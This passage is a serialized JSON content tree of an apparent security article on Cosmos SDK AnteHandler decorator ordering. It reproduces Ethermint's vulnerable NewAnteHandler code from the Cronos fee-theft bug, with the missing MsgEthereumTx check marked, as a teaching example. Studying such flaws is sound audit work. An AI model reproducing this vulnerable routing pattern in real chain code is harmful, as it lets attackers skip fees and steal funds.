:31,"value":10682},{"type":25,"tag":216,"props":83460,"children":83461},{"class":6916,"line":7290},[83462,83467,83471,83475,83479,83483,83487],{"type":25,"tag":216,"props":83463,"children":83464},{"style":7041},[83465],{"type":31,"value":83466},"    NewSetPubKeyDecorator",{"type":25,"tag":216,"props":83468,"children":83469},{"style":6958},[83470],{"type":31,"value":1844},{"type":25,"tag":216,"props":83472,"children":83473},{"style":6941},[83474],{"type":31,"value":39995},{"type":25,"tag":216,"props":83476,"children":83477},{"style":6958},[83478],{"type":31,"value":179},{"type":25,"tag":216,"props":83480,"children":83481},{"style":6941},[83482],{"type":31,"value":83347},{"type":25,"tag":216,"props":83484,"children":83485},{"style":6958},[83486],{"type":31,"value":5400},{"type":25,"tag":216,"props":83488,"children":83489},{"style":6921},[83490],{"type":31,"value":83491},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":25,"tag":216,"props":83493,"children":83494},{"class":6916,"line":7299},[83495,83500,83504,83508,83512,83516],{"type":25,"tag":216,"props":83496,"children":83497},{"style":7041},[83498],{"type":31,"value":83499},"    NewValidateSigCountDecorator",{"type":25,"tag":216,"props":83501,"children":83502},{"style":6958},[83503],{"type":31,"value":1844},{"type":25,"tag":216,"props":83505,"children":83506},{"style":6941},[83507],{"type":31,"value":39995},{"type":25,"tag":216,"props":83509,"children":83510},{"style":6958},[83511],{"type":31,"value":179},{"type":25,"tag":216,"props":83513,"children":83514},{"style":6941},[83515],{"type":31,"value":83347},{"type":25,"tag":216,"props":83517,"children":83518},{"style":6958},[83519],{"type":31,"value":10682},{"type":25,"tag":216,"props":83521,"children":83522},{"class":6916,"line":7551},[83523,83528,83532,83536,83540,83544,83548,83552,83556,83561],{"type":25,"tag":216,"props":83524,"children":83525},{"style":7041},[83526],{"type":31,"value":83527},"    NewSigGasConsumeDecorator",{"type":25,"tag":216,"props":83529,"children":83530},{"style":6958},[83531],{"type":31,"value":1844},{"type":25,"tag":216,"props":83533,"children":83534},{"style":6941},[83535],{"type":31,"value":39995},{"type":25,"tag":216,"props":83537,"children":83538},{"style":6958},[83539],{"type":31,"value":179},{"type":25,"tag":216,"props":83541,"children":83542},{"style":6941},[83543],{"type":31,"value":83347},{"type":25,"tag":216,"props":83545,"children":83546},{"style":6958},[83547],{"type":31,"value":7020},{"type":25,"tag":216,"props":83549,"children":83550},{"style":6941},[83551],{"type":31,"value":39995},{"type":25,"tag":216,"props":83553,"children":83554},{"style":6958},[83555],{"type":31,"value":179},{"type":25,"tag":216,"props":83557,"children":83558},{"style":6941},[83559],{"type":31,"value":83560},"SigGasConsumer",{"type":25,"tag":216,"props":83562,"children":83563},{"style":6958},[83564],{"type":31,"value":10682},{"type":25,"tag":216,"props":83566,"children":83567},{"class":6916,"line":7568},[83568,83573,83577,83581,83585,83589,83593,83597,83601,83606],{"type":25,"tag":216,"props":83569,"children":83570},{"style":7041},[83571],{"type":31,"value":83572},"    NewSigVerificationDecorator",{"type":25,"tag":216,"props":83574,"children":83575},{"style":6958},[83576],{"type":31,"value":1844},{"type":25,"tag":216,"props":83578,"children":83579},{"style":6941},[83580],{"type":31,"value":39995},{"type":25,"tag":216,"props":83582,"children":83583},{"style":6958},[83584],{"type":31,"value":179},{"type":25,"tag":216,"props":83586,"children":83587},{"style":6941},[83588],{"type":31,"value":83347},{"type":25,"tag":216,"props":83590,"children":83591},{"style":6958},[83592],{"type":31,"value":7020},{"type":25,"tag":216,"props":83594,"children":83595},{"style":6941},[83596],{"type":31,"value":39995},{"type":25,"tag":216,"props":83598,"children":83599},{"style":6958},[83600],{"type":31,"value":179},{"type":25,"tag":216,"props":83602,"children":83603},{"style":6941},[83604],{"type":31,"value":83605},"SignModeHandler",{"type":25,"tag":216,"props":83607,"children":83608},{"style":6958},[83609],{"type":31,"value":10682},{"type":25,"tag":216,"props":83611,"children":83612},{"class":6916,"line":7585},[83613,83618,83622,83626,83630,83634],{"type":25,"tag":216,"props":83614,"children":83615},{"style":7041},[83616],{"type":31,"value":83617},"    NewIncrementSequenceDecorator",{"type":25,"tag":216,"props":83619,"children":83620},{"style":6958},[83621],{"type":31,"value":1844},{"type":25,"tag":216,"props":83623,"children":83624},{"style":6941},[83625],{"type":31,"value":39995},{"type":25,"tag":216,"props":83627,"children":83628},{"style":6958},[83629],{"type":31,"value":179},{"type":25,"tag":216,"props":83631,"children":83632},{"style":6941},[83633],{"type":31,"value":83347},{"type":25,"tag":216,"props":83635,"children":83636},{"style":6958},[83637],{"type":31,"value":10682},{"type":25,"tag":216,"props":83639,"children":83640},{"class":6916,"line":7598},[83641],{"type":25,"tag":216,"props":83642,"children":83643},{"style":6958},[83644],{"type":31,"value":7868},{"type":25,"tag":38,"props":83646,"children":83647},{},[83648,83650,83655,83657,83663,83664,83670],{"type":31,"value":83649},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":25,"tag":82,"props":83651,"children":83653},{"className":83652},[],[83654],{"type":31,"value":83185},{"type":31,"value":83656},", such as ",{"type":25,"tag":82,"props":83658,"children":83660},{"className":83659},[],[83661],{"type":31,"value":83662},"SigGasConsumeDecorator",{"type":31,"value":1301},{"type":25,"tag":82,"props":83665,"children":83667},{"className":83666},[],[83668],{"type":31,"value":83669},"ConsumeGasForTxSizeDecorator",{"type":31,"value":83671},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":25,"tag":38,"props":83673,"children":83674},{},[83675,83677,83683,83685,83690],{"type":31,"value":83676},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":25,"tag":82,"props":83678,"children":83680},{"className":83679},[],[83681],{"type":31,"value":83682},"msgs",{"type":31,"value":83684}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":25,"tag":82,"props":83686,"children":83688},{"className":83687},[],[83689],{"type":31,"value":82511},{"type":31,"value":83691}," chain.",{"type":25,"tag":607,"props":83693,"children":83695},{"id":83694},"real-world-examples-2",[83696],{"type":31,"value":80655},{"type":25,"tag":38,"props":83698,"children":83699},{},[83700,83702,83707,83709,83716],{"type":31,"value":83701},"An instance of ",{"type":25,"tag":82,"props":83703,"children":83705},{"className":83704},[],[83706],{"type":31,"value":82436},{"type":31,"value":83708}," misuse is a ",{"type":25,"tag":162,"props":83710,"children":83713},{"href":83711,"rel":83712},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[166],[83714],{"type":31,"value":83715},"Theft of Fund bug",{"type":31,"value":83717}," that was exploited in a Cronos contract.",{"type":25,"tag":38,"props":83719,"children":83720},{},[83721,83723,83728,83730,83735,83737,83743,83745,83751,83753,83758,83760,83765],{"type":31,"value":83722},"In this scenario, ",{"type":25,"tag":82,"props":83724,"children":83726},{"className":83725},[],[83727],{"type":31,"value":83682},{"type":31,"value":83729}," are multiplexed to different ",{"type":25,"tag":82,"props":83731,"children":83733},{"className":83732},[],[83734],{"type":31,"value":82436},{"type":31,"value":83736}," sets through the user-controlled ",{"type":25,"tag":82,"props":83738,"children":83740},{"className":83739},[],[83741],{"type":31,"value":83742},"ExtensionOptionsEthereumTx",{"type":31,"value":83744}," option. However, due to a lack of tx validation, if a ",{"type":25,"tag":82,"props":83746,"children":83748},{"className":83747},[],[83749],{"type":31,"value":83750},"MsgEthereumTx",{"type":31,"value":83752}," does not have ",{"type":25,"tag":82,"props":83754,"children":83756},{"className":83755},[],[83757],{"type":31,"value":83742},{"type":31,"value":83759}," specified, it will be routed to non-Ethereum ",{"type":25,"tag":82,"props":83761,"children":83763},{"className":83762},[],[83764],{"type":31,"value":83185},{"type":31,"value":83766},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":25,"tag":38,"props":83768,"children":83769},{},[83770],{"type":25,"tag":162,"props":83771,"children":83774},{"href":83772,"rel":83773},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[166],[83775],{"type":31,"value":80705},{"type":25,"tag":206,"props":83777,"children":83779},{"code":83778,"language":80130,"meta":7,"className":80131,"style":7},"func NewAnteHandler(\n    ak evmtypes.AccountKeeper,\n    bankKeeper evmtypes.BankKeeper,\n    evmKeeper EVMKeeper,\n    feeGrantKeeper authante.FeegrantKeeper,\n    channelKeeper channelkeeper.Keeper,\n    signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n    return func(\n        ctx sdk.Context, tx sdk.Tx, sim bool,\n    ) (newCtx sdk.Context, err error) {\n        var anteHandler sdk.AnteHandler\n\n        defer Recover(ctx.Logger(), &err)\n\n        txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n        if ok {\n            opts := txWithExtensions.GetExtensionOptions()\n            if len(opts) > 0 {\n                switch typeURL := opts[0].GetTypeUrl(); typeURL {\n                case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n                    // handle as *evmtypes.MsgEthereumTx\n\n                    anteHandler = sdk.ChainAnteDecorators(\n                        NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                        ...\n                        NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n                    )\n\n                default:\n                    return ctx, stacktrace.Propagate(\n                        sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n                        \"rejecting tx with unsupported extension option\",\n                    )\n                }\n\n                return anteHandler(ctx, tx, sim)\n            }\n        }\n\n        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n        switch tx.(type) {\n        case sdk.Tx:\n            anteHandler = sdk.ChainAnteDecorators(\n                authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n                 ...\n                authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n            )\n        default:\n            return ctx, stacktrace.Propagate(\n                sdkerrors.Wrapf(sdkerrors.ErrUnknownRequest, \"invalid transaction type: %T\", tx),\n                \"transaction is not an SDK tx\",\n            )\n        }\n\n        return anteHandler(ctx, tx, sim)\n    }\n}\n",[83780],{"type":25,"tag":82,"props":83781,"children":83782},{"__ignoreMap":7},[83783,83799,83824,83848,83865,83890,83916,83941,83964,83980,84036,84077,84103,84110,84156,84163,84209,84225,84255,84290,84342,84359,84367,84374,84403,84419,84427,84453,84461,84468,84480,84514,84560,84572,84579,84586,84593,84632,84639,84646,84653,84661,84668,84692,84716,84744,84769,84777,84810,84817,84829,84860,84915,84928,84936,84944,84952,84992,85000],{"type":25,"tag":216,"props":83784,"children":83785},{"class":6916,"line":6917},[83786,83790,83795],{"type":25,"tag":216,"props":83787,"children":83788},{"style":6930},[83789],{"type":31,"value":80266},{"type":25,"tag":216,"props":83791,"children":83792},{"style":7041},[83793],{"type":31,"value":83794}," NewAnteHandler",{"type":25,"tag":216,"props":83796,"children":83797},{"style":6958},[83798],{"type":31,"value":7414},{"type":25,"tag":216,"props":83800,"children":83801},{"class":6916,"line":6763},[83802,83807,83812,83816,83820],{"type":25,"tag":216,"props":83803,"children":83804},{"style":6941},[83805],{"type":31,"value":83806},"    ak",{"type":25,"tag":216,"props":83808,"children":83809},{"style":7369},[83810],{"type":31,"value":83811}," evmtypes",{"type":25,"tag":216,"props":83813,"children":83814},{"style":6958},[83815],{"type":31,"value":179},{"type":25,"tag":216,"props":83817,"children":83818},{"style":7369},[83819],{"type":31,"value":83347},{"type":25,"tag":216,"props":83821,"children":83822},{"style":6958},[83823],{"type":31,"value":7459},{"type":25,"tag":216,"props":83825,"children":83826},{"class":6916,"line":6772},[83827,83832,83836,83840,83844],{"type":25,"tag":216,"props":83828,"children":83829},{"style":6941},[83830],{"type":31,"value":83831},"    bankKeeper",{"type":25,"tag":216,"props":83833,"children":83834},{"style":7369},[83835],{"type":31,"value":83811},{"type":25,"tag":216,"props":83837,"children":83838},{"style":6958},[83839],{"type":31,"value":179},{"type":25,"tag":216,"props":83841,"children":83842},{"style":7369},[83843],{"type":31,"value":83420},{"type":25,"tag":216,"props":83845,"children":83846},{"style":6958},[83847],{"type":31,"value":7459},{"type":25,"tag":216,"props":83849,"children":83850},{"class":6916,"line":6999},[83851,83856,83861],{"type":25,"tag":216,"props":83852,"children":83853},{"style":6941},[83854],{"type":31,"value":83855},"    evmKeeper",{"type":25,"tag":216,"props":83857,"children":83858},{"style":7369},[83859],{"type":31,"value":83860}," EVMKeeper",{"type":25,"tag":216,"props":83862,"children":83863},{"style":6958},[83864],{"type":31,"value":7459},{"type":25,"tag":216,"props":83866,"children":83867},{"class":6916,"line":7104},[83868,83873,83878,83882,83886],{"type":25,"tag":216,"props":83869,"children":83870},{"style":6941},[83871],{"type":31,"value":83872},"    feeGrantKeeper",{"type":25,"tag":216,"props":83874,"children":83875},{"style":7369},[83876],{"type":31,"value":83877}," authante",{"type":25,"tag":216,"props":83879,"children":83880},{"style":6958},[83881],{"type":31,"value":179},{"type":25,"tag":216,"props":83883,"children":83884},{"style":7369},[83885],{"type":31,"value":83437},{"type":25,"tag":216,"props":83887,"children":83888},{"style":6958},[83889],{"type":31,"value":7459},{"type":25,"tag":216,"props":83891,"children":83892},{"class":6916,"line":7210},[83893,83898,83903,83907,83912],{"type":25,"tag":216,"props":83894,"children":83895},{"style":6941},[83896],{"type":31,"value":83897},"    channelKeeper",{"type":25,"tag":216,"props":83899,"children":83900},{"style":7369},[83901],{"type":31,"value":83902}," channelkeeper",{"type":25,"tag":216,"props":83904,"children":83905},{"style":6958},[83906],{"type":31,"value":179},{"type":25,"tag":216,"props":83908,"children":83909},{"style":7369},[83910],{"type":31,"value":83911},"Keeper",{"type":25,"tag":216,"props":83913,"children":83914},{"style":6958},[83915],{"type":31,"value":7459},{"type":25,"tag":216,"props":83917,"children":83918},{"class":6916,"line":7238},[83919,83924,83929,83933,83937],{"type":25,"tag":216,"props":83920,"children":83921},{"style":6941},[83922],{"type":31,"value":83923},"    signModeHandler",{"type":25,"tag":216,"props":83925,"children":83926},{"style":7369},[83927],{"type":31,"value":83928}," authsigning",{"type":25,"tag":216,"props":83930,"children":83931},{"style":6958},[83932],{"type":31,"value":179},{"type":25,"tag":216,"props":83934,"children":83935},{"style":7369},[83936],{"type":31,"value":83605},{"type":25,"tag":216,"props":83938,"children":83939},{"style":6958},[83940],{"type":31,"value":7459},{"type":25,"tag":216,"props":83942,"children":83943},{"class":6916,"line":7251},[83944,83948,83952,83956,83960],{"type":25,"tag":216,"props":83945,"children":83946},{"style":6958},[83947],{"type":31,"value":7030},{"type":25,"tag":216,"props":83949,"children":83950},{"style":7369},[83951],{"type":31,"value":82696},{"type":25,"tag":216,"props":83953,"children":83954},{"style":6958},[83955],{"type":31,"value":179},{"type":25,"tag":216,"props":83957,"children":83958},{"style":7369},[83959],{"type":31,"value":82436},{"type":25,"tag":216,"props":83961,"children":83962},{"style":6958},[83963],{"type":31,"value":7235},{"type":25,"tag":216,"props":83965,"children":83966},{"class":6916,"line":7269},[83967,83971,83976],{"type":25,"tag":216,"props":83968,"children":83969},{"style":6967},[83970],{"type":31,"value":20941},{"type":25,"tag":216,"props":83972,"children":83973},{"style":6930},[83974],{"type":31,"value":83975}," func",{"type":25,"tag":216,"props":83977,"children":83978},{"style":6958},[83979],{"type":31,"value":7414},{"type":25,"tag":216,"props":83981,"children":83982},{"class":6916,"line":7290},[83983,83987,83991,83995,83999,84003,84007,84011,84015,84019,84023,84028,84032],{"type":25,"tag":216,"props":83984,"children":83985},{"style":6941},[83986],{"type":31,"value":30138},{"type":25,"tag":216,"props":83988,"children":83989},{"style":7369},[83990],{"type":31,"value":82607},{"type":25,"tag":216,"props":83992,"children":83993},{"style":6958},[83994],{"type":31,"value":179},{"type":25,"tag":216,"props":83996,"children":83997},{"style":7369},[83998],{"type":31,"value":80315},{"type":25,"tag":216,"props":84000,"children":84001},{"style":6958},[84002],{"type":31,"value":7020},{"type":25,"tag":216,"props":84004,"children":84005},{"style":6941},[84006],{"type":31,"value":83147},{"type":25,"tag":216,"props":84008,"children":84009},{"style":7369},[84010],{"type":31,"value":82607},{"type":25,"tag":216,"props":84012,"children":84013},{"style":6958},[84014],{"type":31,"value":179},{"type":25,"tag":216,"props":84016,"children":84017},{"style":7369},[84018],{"type":31,"value":82640},{"type":25,"tag":216,"props":84020,"children":84021},{"style":6958},[84022],{"type":31,"value":7020},{"type":25,"tag":216,"props":84024,"children":84025},{"style":6941},[84026],{"type":31,"value":84027},"sim",{"type":25,"tag":216,"props":84029,"children":84030},{"style":7369},[84031],{"type":31,"value":16000},{"type":25,"tag":216,"props":84033,"children":84034},{"style":6958},[84035],{"type":31,"value":7459},{"type":25,"tag":216,"props":84037,"children":84038},{"class":6916,"line":7299},[84039,84044,84049,84053,84057,84061,84065,84069,84073],{"type":25,"tag":216,"props":84040,"children":84041},{"style":6958},[84042],{"type":31,"value":84043},"    ) (",{"type":25,"tag":216,"props":84045,"children":84046},{"style":6941},[84047],{"type":31,"value":84048},"newCtx",{"type":25,"tag":216,"props":84050,"children":84051},{"style":7369},[84052],{"type":31,"value":82607},{"type":25,"tag":216,"props":84054,"children":84055},{"style":6958},[84056],{"type":31,"value":179},{"type":25,"tag":216,"props":84058,"children":84059},{"style":7369},[84060],{"type":31,"value":80315},{"type":25,"tag":216,"props":84062,"children":84063},{"style":6958},[84064],{"type":31,"value":7020},{"type":25,"tag":216,"props":84066,"children":84067},{"style":6941},[84068],{"type":31,"value":52383},{"type":25,"tag":216,"props":84070,"children":84071},{"style":7369},[84072],{"type":31,"value":18828},{"type":25,"tag":216,"props":84074,"children":84075},{"style":6958},[84076],{"type":31,"value":18755},{"type":25,"tag":216,"props":84078,"children":84079},{"class":6916,"line":7551},[84080,84085,84090,84094,84098],{"type":25,"tag":216,"props":84081,"children":84082},{"style":6930},[84083],{"type":31,"value":84084},"        var",{"type":25,"tag":216,"props":84086,"children":84087},{"style":6941},[84088],{"type":31,"value":84089}," anteHandler",{"type":25,"tag":216,"props":84091,"children":84092},{"style":7369},[84093],{"type":31,"value":82607},{"type":25,"tag":216,"props":84095,"children":84096},{"style":6958},[84097],{"type":31,"value":179},{"type":25,"tag":216,"props":84099,"children":84100},{"style":7369},[84101],{"type":31,"value":84102},"AnteHandler\n",{"type":25,"tag":216,"props":84104,"children":84105},{"class":6916,"line":7568},[84106],{"type":25,"tag":216,"props":84107,"children":84108},{"emptyLinePlaceholder":16},[84109],{"type":31,"value":7636},{"type":25,"tag":216,"props":84111,"children":84112},{"class":6916,"line":7585},[84113,84118,84123,84127,84131,84135,84140,84144,84148,84152],{"type":25,"tag":216,"props":84114,"children":84115},{"style":6967},[84116],{"type":31,"value":84117},"        defer",{"type":25,"tag":216,"props":84119,"children":84120},{"style":7041},[84121],{"type":31,"value":84122}," Recover",{"type":25,"tag":216,"props":84124,"children":84125},{"style":6958},[84126],{"type":31,"value":1844},{"type":25,"tag":216,"props":84128,"children":84129},{"style":6941},[84130],{"type":31,"value":24234},{"type":25,"tag":216,"props":84132,"children":84133},{"style":6958},[84134],{"type":31,"value":179},{"type":25,"tag":216,"props":84136,"children":84137},{"style":7041},[84138],{"type":31,"value":84139},"Logger",{"type":25,"tag":216,"props":84141,"children":84142},{"style":6958},[84143],{"type":31,"value":22328},{"type":25,"tag":216,"props":84145,"children":84146},{"style":6947},[84147],{"type":31,"value":7053},{"type":25,"tag":216,"props":84149,"children":84150},{"style":6941},[84151],{"type":31,"value":52383},{"type":25,"tag":216,"props":84153,"children":84154},{"style":6958},[84155],{"type":31,"value":7101},{"type":25,"tag":216,"props":84157,"children":84158},{"class":6916,"line":7598},[84159],{"type":25,"tag":216,"props":84160,"children":84161},{"emptyLinePlaceholder":16},[84162],{"type":31,"value":7636},{"type":25,"tag":216,"props":84164,"children":84165},{"class":6916,"line":7607},[84166,84171,84175,84179,84183,84187,84191,84196,84200,84205],{"type":25,"tag":216,"props":84167,"children":84168},{"style":6941},[84169],{"type":31,"value":84170},"        txWithExtensions",{"type":25,"tag":216,"props":84172,"children":84173},{"style":6958},[84174],{"type":31,"value":7020},{"type":25,"tag":216,"props":84176,"children":84177},{"style":6941},[84178],{"type":31,"value":82733},{"type":25,"tag":216,"props":84180,"children":84181},{"style":6947},[84182],{"type":31,"value":80382},{"type":25,"tag":216,"props":84184,"children":84185},{"style":6941},[84186],{"type":31,"value":71991},{"type":25,"tag":216,"props":84188,"children":84189},{"style":6958},[84190],{"type":31,"value":82746},{"type":25,"tag":216,"props":84192,"children":84193},{"style":7369},[84194],{"type":31,"value":84195},"authante",{"type":25,"tag":216,"props":84197,"children":84198},{"style":6958},[84199],{"type":31,"value":179},{"type":25,"tag":216,"props":84201,"children":84202},{"style":7369},[84203],{"type":31,"value":84204},"HasExtensionOptionsTx",{"type":25,"tag":216,"props":84206,"children":84207},{"style":6958},[84208],{"type":31,"value":7101},{"type":25,"tag":216,"props":84210,"children":84211},{"class":6916,"line":7630},[84212,84216,84221],{"type":25,"tag":216,"props":84213,"children":84214},{"style":6967},[84215],{"type":31,"value":7216},{"type":25,"tag":216,"props":84217,"children":84218},{"style":6941},[84219],{"type":31,"value":84220}," ok",{"type":25,"tag":216,"props":84222,"children":84223},{"style":6958},[84224],{"type":31,"value":7235},{"type":25,"tag":216,"props":84226,"children":84227},{"class":6916,"line":7639},[84228,84233,84237,84242,84246,84251],{"type":25,"tag":216,"props":84229,"children":84230},{"style":6941},[84231],{"type":31,"value":84232},"            opts",{"type":25,"tag":216,"props":84234,"children":84235},{"style":6947},[84236],{"type":31,"value":80382},{"type":25,"tag":216,"props":84238,"children":84239},{"style":6941},[84240],{"type":31,"value":84241}," txWithExtensions",{"type":25,"tag":216,"props":84243,"children":84244},{"style":6958},[84245],{"type":31,"value":179},{"type":25,"tag":216,"props":84247,"children":84248},{"style":7041},[84249],{"type":31,"value":84250},"GetExtensionOptions",{"type":25,"tag":216,"props":84252,"children":84253},{"style":6958},[84254],{"type":31,"value":11681},{"type":25,"tag":216,"props":84256,"children":84257},{"class":6916,"line":7648},[84258,84262,84266,84270,84274,84278,84282,84286],{"type":25,"tag":216,"props":84259,"children":84260},{"style":6967},[84261],{"type":31,"value":62762},{"type":25,"tag":216,"props":84263,"children":84264},{"style":7041},[84265],{"type":31,"value":12504},{"type":25,"tag":216,"props":84267,"children":84268},{"style":6958},[84269],{"type":31,"value":1844},{"type":25,"tag":216,"props":84271,"children":84272},{"style":6941},[84273],{"type":31,"value":52525},{"type":25,"tag":216,"props":84275,"children":84276},{"style":6958},[84277],{"type":31,"value":7030},{"type":25,"tag":216,"props":84279,"children":84280},{"style":6947},[84281],{"type":31,"value":5896},{"type":25,"tag":216,"props":84283,"children":84284},{"style":6983},[84285],{"type":31,"value":6986},{"type":25,"tag":216,"props":84287,"children":84288},{"style":6958},[84289],{"type":31,"value":7235},{"type":25,"tag":216,"props":84291,"children":84292},{"class":6916,"line":7716},[84293,84298,84303,84307,84312,84316,84320,84324,84329,84333,84338],{"type":25,"tag":216,"props":84294,"children":84295},{"style":6967},[84296],{"type":31,"value":84297},"                switch",{"type":25,"tag":216,"props":84299,"children":84300},{"style":6941},[84301],{"type":31,"value":84302}," typeURL",{"type":25,"tag":216,"props":84304,"children":84305},{"style":6947},[84306],{"type":31,"value":80382},{"type":25,"tag":216,"props":84308,"children":84309},{"style":6941},[84310],{"type":31,"value":84311}," opts",{"type":25,"tag":216,"props":84313,"children":84314},{"style":6958},[84315],{"type":31,"value":7695},{"type":25,"tag":216,"props":84317,"children":84318},{"style":6983},[84319],{"type":31,"value":1876},{"type":25,"tag":216,"props":84321,"children":84322},{"style":6958},[84323],{"type":31,"value":54311},{"type":25,"tag":216,"props":84325,"children":84326},{"style":7041},[84327],{"type":31,"value":84328},"GetTypeUrl",{"type":25,"tag":216,"props":84330,"children":84331},{"style":6958},[84332],{"type":31,"value":32401},{"type":25,"tag":216,"props":84334,"children":84335},{"style":6941},[84336],{"type":31,"value":84337},"typeURL",{"type":25,"tag":216,"props":84339,"children":84340},{"style":6958},[84341],{"type":31,"value":7235},{"type":25,"tag":216,"props":84343,"children":84344},{"class":6916,"line":7724},[84345,84350,84355],{"type":25,"tag":216,"props":84346,"children":84347},{"style":6967},[84348],{"type":31,"value":84349},"                case",{"type":25,"tag":216,"props":84351,"children":84352},{"style":8199},[84353],{"type":31,"value":84354}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":25,"tag":216,"props":84356,"children":84357},{"style":6958},[84358],{"type":31,"value":9512},{"type":25,"tag":216,"props":84360,"children":84361},{"class":6916,"line":7754},[84362],{"type":25,"tag":216,"props":84363,"children":84364},{"style":6921},[84365],{"type":31,"value":84366},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":25,"tag":216,"props":84368,"children":84369},{"class":6916,"line":7762},[84370],{"type":25,"tag":216,"props":84371,"children":84372},{"emptyLinePlaceholder":16},[84373],{"type":31,"value":7636},{"type":25,"tag":216,"props":84375,"children":84376},{"class":6916,"line":7794},[84377,84382,84386,84390,84394,84399],{"type":25,"tag":216,"props":84378,"children":84379},{"style":6941},[84380],{"type":31,"value":84381},"                    anteHandler",{"type":25,"tag":216,"props":84383,"children":84384},{"style":6947},[84385],{"type":31,"value":6950},{"type":25,"tag":216,"props":84387,"children":84388},{"style":6941},[84389],{"type":31,"value":82607},{"type":25,"tag":216,"props":84391,"children":84392},{"style":6958},[84393],{"type":31,"value":179},{"type":25,"tag":216,"props":84395,"children":84396},{"style":7041},[84397],{"type":31,"value":84398},"ChainAnteDecorators",{"type":25,"tag":216,"props":84400,"children":84401},{"style":6958},[84402],{"type":31,"value":7414},{"type":25,"tag":216,"props":84404,"children":84405},{"class":6916,"line":7802},[84406,84411,84415],{"type":25,"tag":216,"props":84407,"children":84408},{"style":7041},[84409],{"type":31,"value":84410},"                        NewEthSetUpContextDecorator",{"type":25,"tag":216,"props":84412,"children":84413},{"style":6958},[84414],{"type":31,"value":22328},{"type":25,"tag":216,"props":84416,"children":84417},{"style":6921},[84418],{"type":31,"value":83261},{"type":25,"tag":216,"props":84420,"children":84421},{"class":6916,"line":7862},[84422],{"type":25,"tag":216,"props":84423,"children":84424},{"style":6947},[84425],{"type":31,"value":84426},"                        ...\n",{"type":25,"tag":216,"props":84428,"children":84429},{"class":6916,"line":12995},[84430,84435,84439,84444,84448],{"type":25,"tag":216,"props":84431,"children":84432},{"style":7041},[84433],{"type":31,"value":84434},"                        NewEthIncrementSenderSequenceDecorator",{"type":25,"tag":216,"props":84436,"children":84437},{"style":6958},[84438],{"type":31,"value":1844},{"type":25,"tag":216,"props":84440,"children":84441},{"style":6941},[84442],{"type":31,"value":84443},"ak",{"type":25,"tag":216,"props":84445,"children":84446},{"style":6958},[84447],{"type":31,"value":5400},{"type":25,"tag":216,"props":84449,"children":84450},{"style":6921},[84451],{"type":31,"value":84452},"// innermost AnteDecorator.\n",{"type":25,"tag":216,"props":84454,"children":84455},{"class":6916,"line":13013},[84456],{"type":25,"tag":216,"props":84457,"children":84458},{"style":6958},[84459],{"type":31,"value":84460},"                    )\n",{"type":25,"tag":216,"props":84462,"children":84463},{"class":6916,"line":13058},[84464],{"type":25,"tag":216,"props":84465,"children":84466},{"emptyLinePlaceholder":16},[84467],{"type":31,"value":7636},{"type":25,"tag":216,"props":84469,"children":84470},{"class":6916,"line":13164},[84471,84476],{"type":25,"tag":216,"props":84472,"children":84473},{"style":6967},[84474],{"type":31,"value":84475},"                default",{"type":25,"tag":216,"props":84477,"children":84478},{"style":6958},[84479],{"type":31,"value":9512},{"type":25,"tag":216,"props":84481,"children":84482},{"class":6916,"line":27449},[84483,84488,84492,84496,84501,84505,84510],{"type":25,"tag":216,"props":84484,"children":84485},{"style":6967},[84486],{"type":31,"value":84487},"                    return",{"type":25,"tag":216,"props":84489,"children":84490},{"style":6941},[84491],{"type":31,"value":29795},{"type":25,"tag":216,"props":84493,"children":84494},{"style":6958},[84495],{"type":31,"value":7020},{"type":25,"tag":216,"props":84497,"children":84498},{"style":6941},[84499],{"type":31,"value":84500},"stacktrace",{"type":25,"tag":216,"props":84502,"children":84503},{"style":6958},[84504],{"type":31,"value":179},{"type":25,"tag":216,"props":84506,"children":84507},{"style":7041},[84508],{"type":31,"value":84509},"Propagate",{"type":25,"tag":216,"props":84511,"children":84512},{"style":6958},[84513],{"type":31,"value":7414},{"type":25,"tag":216,"props":84515,"children":84516},{"class":6916,"line":27484},[84517,84522,84526,84530,84534,84539,84543,84548,84552,84556],{"type":25,"tag":216,"props":84518,"children":84519},{"style":6941},[84520],{"type":31,"value":84521},"                        sdkerrors",{"type":25,"tag":216,"props":84523,"children":84524},{"style":6958},[84525],{"type":31,"value":179},{"type":25,"tag":216,"props":84527,"children":84528},{"style":7041},[84529],{"type":31,"value":82812},{"type":25,"tag":216,"props":84531,"children":84532},{"style":6958},[84533],{"type":31,"value":1844},{"type":25,"tag":216,"props":84535,"children":84536},{"style":6941},[84537],{"type":31,"value":84538},"sdkerrors",{"type":25,"tag":216,"props":84540,"children":84541},{"style":6958},[84542],{"type":31,"value":179},{"type":25,"tag":216,"props":84544,"children":84545},{"style":6941},[84546],{"type":31,"value":84547},"ErrUnknownExtensionOptions",{"type":25,"tag":216,"props":84549,"children":84550},{"style":6958},[84551],{"type":31,"value":7020},{"type":25,"tag":216,"props":84553,"children":84554},{"style":6941},[84555],{"type":31,"value":84337},{"type":25,"tag":216,"props":84557,"children":84558},{"style":6958},[84559],{"type":31,"value":10682},{"type":25,"tag":216,"props":84561,"children":84562},{"class":6916,"line":27492},[84563,84568],{"type":25,"tag":216,"props":84564,"chil